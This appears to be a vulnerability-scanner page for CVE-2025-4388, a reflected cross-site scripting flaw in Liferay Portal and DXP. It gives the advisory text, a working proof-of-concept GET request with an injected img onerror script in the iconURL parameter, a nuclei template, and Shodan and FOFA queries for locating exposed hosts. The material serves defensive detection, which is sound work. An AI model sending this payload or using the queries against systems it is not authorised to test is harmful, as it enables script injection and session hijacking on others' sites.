CVE-2025-4388· CWE-79
Liferay Portal - Cross-Site Scripting
A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.
Impact
Attackers can execute arbitrary JavaScript in victim browsers through the iconURL parameter in the marketplace app manager, potentially leading to session hijacking and credential theft.
Fix
Upgrade Liferay Portal or DXP to the latest patched version that properly sanitizes the iconURL parameter.
How to confirm it
Send: GET {{BaseURL}}/o/marketplace-app-manager-web/icon.jsp?iconURL=https:///%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Positive when: contains "sticker sticker-" and "<img src=x onerror=alert(document.domain)>" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2025-4388 -u <target>
The full check
id: CVE-2025-4388
info:
name: Liferay Portal - Cross-Site Scripting
author: iamnoooob,rootxharsh,pdresearch
severity: medium
description: |
A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.
impact: |
Attackers can execute arbitrary JavaScript in victim browsers through the iconURL parameter in the marketplace app manager, potentially leading to session hijacking and credential theft.
remediation: |
Upgrade Liferay Portal or DXP to the latest patched version that properly sanitizes the iconURL parameter.
reference:
- https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-4388
- https://nvd.nist.gov/vuln/detail/CVE-2025-4388
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2025-4388
cwe-id: CWE-79
epss-score: 0.03819
epss-percentile: 0.90151
metadata:
verified: true
max-request: 1
shodan-query: html:"liferayPortalCSS"
fofa-query: body="liferayPortalCSS"
tags: cve,cve2025,liferay,marketplace,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/o/marketplace-app-manager-web/icon.jsp?iconURL=https:///%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'sticker sticker-'
- '<img src=x onerror=alert(document.domain)>'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200References
- https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-4388
- https://nvd.nist.gov/vuln/detail/CVE-2025-4388
Use this check only on systems you are authorised to test. Where the data comes from